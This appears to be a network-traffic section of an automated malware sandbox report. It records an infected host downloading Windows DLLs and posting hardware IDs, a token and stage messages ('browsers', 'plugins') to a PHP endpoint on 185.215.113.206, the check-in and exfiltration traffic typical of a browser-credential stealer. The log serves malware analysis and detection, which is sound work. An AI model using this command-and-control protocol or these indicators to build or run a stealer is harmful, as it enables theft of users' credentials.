Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 01:27:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 01:27:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 01:27:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 01:27:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIEGCAECGCAEBFHDHIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 45 47 43 41 45 43 47 43 41 45 42 46 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 44 44 46 35 43 43 41 32 35 35 44 32 35 39 34 32 34 38 33 34 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 43 41 45 43 47 43 41 45 42 46 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 43 41 45 43 47 43 41 45 42 46 48 44 48 49 45 2d 2d 0d 0a Data Ascii: ------AFIEGCAECGCAEBFHDHIEContent-Disposition: form-data; name="hwid"BDDF5CCA255D2594248341------AFIEGCAECGCAEBFHDHIEContent-Disposition: form-data; name="build"tale------AFIEGCAECGCAEBFHDHIE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBKFBAKFBFHIECFBFIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 2d 2d 0d 0a Data Ascii: ------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="message"browsers------DGDBKFBAKFBFHIECFBFI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 2d 2d 0d 0a Data Ascii: ------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="message"plugins------CBAKJKJJJECFIEBFHIEG--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAECGCGHCGHCAKECBKJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="message"fplugins------DAECGCGHCGHCAKECBKJK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKKHost: 185.215.113.206Content-Length: 5615Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDGCFBAEGDHJKEBGCBAHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBGCFIEHCFIDGCAAFBHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 2d 2d 0d 0a Data Ascii: ------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="file"------AAKEGDAKEHJDHIDHJJDA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAAFCBFBAKFHJDBKJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="file"------DGCAAAFCBFBAKFHJDBKJ--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
